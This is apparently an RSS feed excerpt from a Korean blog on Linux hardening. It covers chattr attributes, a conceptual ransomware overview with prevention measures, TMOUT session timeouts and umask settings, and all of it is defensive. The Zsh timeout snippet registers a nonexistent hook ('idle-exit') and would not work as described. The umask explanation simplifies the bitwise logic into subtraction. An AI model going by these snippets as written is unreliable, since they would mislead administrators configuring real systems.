&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;chattr은 일반 사용자에게 제한됨. 보통 root 권한 필요&lt;/li&gt;
&lt;li&gt;ext4 파일 시스템에서 동작. XFS, Btrfs 등에서는 일부 속성이 비지원&lt;/li&gt;
&lt;li&gt;백업 및 복구 도구에서 이 속성이 영향을 줄 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;실전 예제&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 로그 파일을 append-only로 만들기&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1748053381568&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;chattr +a /var/log/secure&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 중요 설정 파일을 보호&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1748053392675&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;chattr +i /etc/passwd&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 복원 준비를 위해 삭제 복구 속성 추가&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;(해당 기능은 일부 시스템만 지원)&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1748053422952&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;chattr +u important_backup.tar.gz&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>정보보호</category>
      <category>chattr</category>
      <category>lsattr</category>
      <category>리눅스</category>
      <category>리눅스명령어</category>
      <category>시스템보안</category>
      <category>정보보호</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/44</guid>
      <comments>https://defcon.tistory.com/44#entry44comment</comments>
      <pubDate>Mon, 26 May 2025 09:00:09 +0900</pubDate>
    </item>
    <item>
      <title>랜섬웨어의 개념 및 예방조치</title>
      <link>https://defcon.tistory.com/45</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;랜섬웨어란?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;랜섬웨어(Ransomware)는 사용자의 파일이나 시스템을 암호화하거나 접근을 제한한 뒤, 이를 해제하는 대가로 금전(주로 암호화폐)을 요구하는 악성코드(Malware)입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;랜섬(Ransom)은 인질을 풀어주는 대가로 요구하는 몸값이라는 뜻이고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웨어(Ware)는 소프트웨어를 의미합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 랜섬웨어는 데이터를 인질로 잡고 금전을 요구하는 악성 소프트웨어 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;주요 동작 원리&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 감염 단계&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이메일 첨부파일, 악성링크, 취약한 원격 데스크톱(RDP), 드라이브 바이 다운로드 등을 통해 감염&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 탐색 및 암호화&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;시스템 내부 및 네트워크 공유 드라이브를 탐색하여 중요 파일(문서, 이미지, 데이터베이스 등)을 선별&lt;/li&gt;
&lt;li&gt;고급 암호화 알고리즘(AES, RSA 등)을 사용하여 파일을 암호화&lt;/li&gt;
&lt;li&gt;원본 파일 삭제 또는 이름 변경&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 협박 및 요구&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;바탕화면이나 텍스트 파일로 랜섬 노트(Ransom Note)를 표시&lt;/li&gt;
&lt;li&gt;특정 기간 내에 비트코인 등 암호화폐로 금전을 요구&lt;/li&gt;
&lt;li&gt;지불 시 복호화 키를 제공하겠다고 주장&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;암호화 방식&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;대칭키 암호화(AES 등) : 빠르게 파일을 암호화함. 키가 유출되면 복호화 가능&lt;/li&gt;
&lt;li&gt;비대칭키 암호화(RSA 등) : 공격자만 복호화 키를 보유. 더 안전한 방식&lt;/li&gt;
&lt;li&gt;일부는 하이브리드 방식(AES + RSA) 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;대표적인 랜섬웨어 종류&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;이름&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;특징&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;WannaCry&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;SMB 취약점(EternalBlue) 악용, 전 세계적 확산&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;Petya/NotPetya&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;MBR 감역으로 부팅 불가, 파괴적 성격 강함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;Locky&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;이메일 첨부파일을 통해 빠르게 확산&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;Ryuk&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;기업 대상 표적 공격, 높은 몸값 요구&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;Maze&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;암호화 + 데이터 유출로 이중 협박&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;Conti&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;빠른 암호화와 네트워크 확산 능력&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;랜섬웨어의 기술적 방지 조치&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. 백업 및 복구 시스템 구축&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;정기적인 백업 : 주요 데이터를 주기적으로 백업하고, 백업 파일은 물리적으로 또는 논리적으로 분리된 위치&lt;br /&gt;(ex. 오프라인 또는 클라우드)에 저장&lt;/li&gt;
&lt;li&gt;백업 무결성 검증 : 복구 가능 여부를 정기적으로 테스트&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. 최신 보안 업데이트 적용&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;운영체제 및 소프트웨어 업데이트 : 알려진 취약점을 악용한 공격 차단&lt;/li&gt;
&lt;li&gt;서드파티 앱도 최신 패치 유지&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. 악성코드 탐지 및 방어시스템 운영&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;차세대 안티 바이러스(NGAV) 및 EDR(Endpoint Detection &amp;amp; Response) 솔루션 도입&lt;/li&gt;
&lt;li&gt;행위 기반 탐지 : 파일 암호화 등 이상 행위 탐지 시 즉시 차단&lt;/li&gt;
&lt;li&gt;네트워크 기반 탐지(NDR) : 비정상적인 트래픽 모니터링 및 경고]&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;4. 네트워크 및 시스템 접근 통제&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;최소 권한 원칙(Least Privilege) 적용&lt;/li&gt;
&lt;li&gt;관리자 계정 분리 및 다중 인증(MFA) 적용&lt;/li&gt;
&lt;li&gt;방화벽/IPS 설정 강화 : 외부와의 불필요한 연결 차단&lt;/li&gt;
&lt;li&gt;SMB/FTP/RDP 등 취약 서비스 비활성화 또는 접근 제한&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;5. 이메일 및 웹 보안 강화&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;스팸 필터링 및 첨부파일/링크 분석 솔루션(SandBox) 적용&lt;/li&gt;
&lt;li&gt;이메일 인증 기술(DMARC, DKIM, SPF) 활요&amp;nbsp;&lt;/li&gt;
&lt;li&gt;웹 필터링으로 악성 사이트 접근 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;6. 애플리케이션 제어 및 화이트리스트 사용&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;허용된 애플리케이션만 실행 가능하도록 제한&lt;/li&gt;
&lt;li&gt;스크립트/매크로 자동 실행 차단 : &amp;nbsp;MS Office나 PowerShell, JavaScript 등 제한&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;7. 보안 로그 모니터링 및 이상행위 감지&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;SIEM 등의 로그 통합 분석 솔루션으로 이상 행위 실시간 감지&lt;/li&gt;
&lt;li&gt;파일 암호화 속도 급증, 확장자 변경 등의 징후 분석&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;8. 네트워크 분리 및 가상화&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;업무망과 인터넷망 분리(물리적 또는 논리적)&lt;/li&gt;
&lt;li&gt;중요 자산은 VDI, 가상환경 등 격리된 환경에서 운용&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;9. 취약점 점검 및 모의훈련&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;정기적은 보안 취약점 스캔 및 점검&lt;/li&gt;
&lt;li&gt;랜섬웨어 대응 훈련 및 시뮬레이션&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>정보보호</category>
      <category>랜섬웨어</category>
      <category>사이버보안</category>
      <category>시스템 보안</category>
      <category>암호화</category>
      <category>정보보호</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/45</guid>
      <comments>https://defcon.tistory.com/45#entry45comment</comments>
      <pubDate>Sun, 25 May 2025 16:55:56 +0900</pubDate>
    </item>
    <item>
      <title>리눅스 세션 타임아웃 설정 방법 TMOUT</title>
      <link>https://defcon.tistory.com/43</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;리눅스에서 세션 타임아웃(Session Timeout) 설정은 보안이나 자원 관리를 위해 일정 시간 동안 사용자의 활동이 없으면 자동으로 세션(특히 쉘 세션)을 종료시키는 기능입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 설정하는 방법은 사용하는 쉘 종류(ex. bash, Zsh ..)에 다라 다르지만, 본 글에서는 일반적으로 많이 사용하는 Bash 쉘 기준으로 설명합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Bash에서 세션 타임아웃 설정&lt;/b&gt;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;1. TMOUT 환경 변수 사용&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Bash에서는 TMOUT 이라는 환경 변수를 사용하여 타임아웃을 설정할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1748046779168&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;export TMOUT=600&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 설정은 사용자가 600초 동안 아무 입력이 없으면 세션을 종료합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;~/.bashrc 또는 /etc/profile 파일에 추가하면 사용자 또는 시스템 전체에 적용할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 : 사용자 기준 설정&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1748052139702&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;echo &quot;export TMOUT=600&quot; &amp;gt;&amp;gt; ~/.bashrc
source ~/.bashrc&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 : 시스템 전체 설정&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1748052163705&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;echo &quot;export TMOUT=600&quot; &amp;gt;&amp;gt; /etc/profile&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;보안 강화 : 자동 로그아웃 강제&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 TMOUT을 수정하지 못하도록 하려면 readonly로 설정할 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1748052210761&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;readonly TMOUT=600
export TMOUT&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Zsh에서 세션 타임아웃 설정&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Zsh에서는 다음과 같은 설정을 사용합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1748052278833&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;export TMOUT=600
autoload -Uz add-zsh-hook
add-zsh-hook -Uz idle-exit

idle-exit() {
	exit
   }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또는 .zshrc에 아래 한 줄만 써도 기본 동작합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1748052305456&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;export TMOUT=600&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기타 고려사항&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;sudo 명령이나 루트 계정에는 별도로 설정해야 합니다.( /root/.bashrc 등)&lt;/li&gt;
&lt;li&gt;screen이나 tmux 세션의 경우 자체 타임아웃 기능을 설정해야 합니다.&lt;/li&gt;
&lt;li&gt;SSH 연결 자체의 타임아웃도 별도 설정이 가능합니다.(ex. ClientAliveInterval / ClientAliveCountMax)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SSH 연결 타임아웃 설정 예(서버 측)&lt;/p&gt;
&lt;pre id=&quot;code_1748052398196&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# etc/ssh/sshd_config

ClientAliveInterval 300
ClientAliveCountMax 0&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;300초 동안 아무 활동이 없으면 세션 종료&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;변경 후 systemctl restart sshd 필요&lt;/p&gt;</description>
      <category>정보보호</category>
      <category>Linux</category>
      <category>TMOUT</category>
      <category>세션타임아웃</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/43</guid>
      <comments>https://defcon.tistory.com/43#entry43comment</comments>
      <pubDate>Sun, 25 May 2025 12:07:31 +0900</pubDate>
    </item>
    <item>
      <title>linux umask 개념 및 umask값 설정</title>
      <link>https://defcon.tistory.com/42</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;umask는 user file-creation mode mask의 줄임말로, 리눅스 및 유닉스 시스템에서 새로 생성되는 파일이나 디렉터리에 기본으로 적용될 권한을 제한하는데 사용되는 설정입니다. 즉, 새 파일이나 디렉터리를 만들 때 부여될 기본 권한ㄴ에서 제거할 권한을 지정하는 역할을 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;기본 개념&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;리눅스에서 파일과 디렉터리는 기본적으로 특정한 권한을 갖고 생성됩니다.
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;일반 파일의 기본 권한 : 666(rw-rw-rw-)&lt;/li&gt;
&lt;li&gt;디렉터리의 기본 권한 : 777(rwxrwxrwx)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러나 umask 값에 따라 이 기본 권한에서 일부 권한이 제거됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;사용예시&lt;/b&gt;&lt;/h2&gt;
&lt;pre id=&quot;code_1748045208079&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;umask 022&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이 설정은 새로 만든 파일/디렉터리에서 다른 사용자(other)와 그룹(group)에 쓰기 권한을 제거합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;계산 방법:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;기본 권한에서 umask값을 빼는 방식으로 최종 권한을 계산합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 16.666667%;&quot;&gt;항목&lt;/td&gt;
&lt;td style=&quot;width: 16.666667%;&quot;&gt;파일 기본 권한&lt;/td&gt;
&lt;td style=&quot;width: 16.666667%;&quot;&gt;디렉터리 기본 권한&lt;/td&gt;
&lt;td style=&quot;width: 16.666667%;&quot;&gt;umask값&lt;/td&gt;
&lt;td style=&quot;width: 16.666667%;&quot;&gt;최종 파일 권한&lt;/td&gt;
&lt;td style=&quot;width: 16.666667%;&quot;&gt;최종 디렉터리 권한&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 16.666667%;&quot;&gt;예시&lt;/td&gt;
&lt;td style=&quot;width: 16.666667%;&quot;&gt;666&lt;/td&gt;
&lt;td style=&quot;width: 16.666667%;&quot;&gt;777&lt;/td&gt;
&lt;td style=&quot;width: 16.666667%;&quot;&gt;022&lt;/td&gt;
&lt;td style=&quot;width: 16.666667%;&quot;&gt;644&lt;/td&gt;
&lt;td style=&quot;width: 16.666667%;&quot;&gt;755&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;666 - 022 = 644
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파일권한 : rw-r--r--&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;777 - 022 = 755
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;디렉터리 권한 : rwxr-xr-x&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;umask 확인 및 설정&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;현재 umask 값 확인&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1748045390782&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;umask&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;출력이 0022 &amp;nbsp;처럼 4자리면 첫자리는 특별한 설정(ex. setuid) 관련이며 일반적으로 무시해도 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;임시로 umask 설정(현재 세션만)&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1748045433186&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;umask 027&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이는 현재 세션에만 적용되며, 터미널을 종료하면 초기화됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;영구설정&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;로그인 시 자동 적용되게 하려면 다음 파일들 중 하나에 설정을 추가
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;~/.bashrc&lt;/li&gt;
&lt;li&gt;~/.profile&lt;/li&gt;
&lt;li&gt;/etc/profile 또는 /etc/bash.bashrc(시스템 전역)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예시 :&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1748045514628&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;echo &quot;umask 027&quot; &amp;gt;&amp;gt; ~/.bashrc&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용 예제&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1748045551218&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;umask 077
touch myfile
ls -l myfile&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예상 결과&lt;/p&gt;
&lt;pre id=&quot;code_1748045592931&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;-rw------- 1 user user 0 May 24 13:00 myfile&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설명 : 모든 권한은 사용자에게만 있고, 그룹과 다른 사용자에게는 전혀 없음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;상황별 umask 권장값&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. 개인 사용자용 데스크탑/노트북&lt;/b&gt;&lt;/h3&gt;
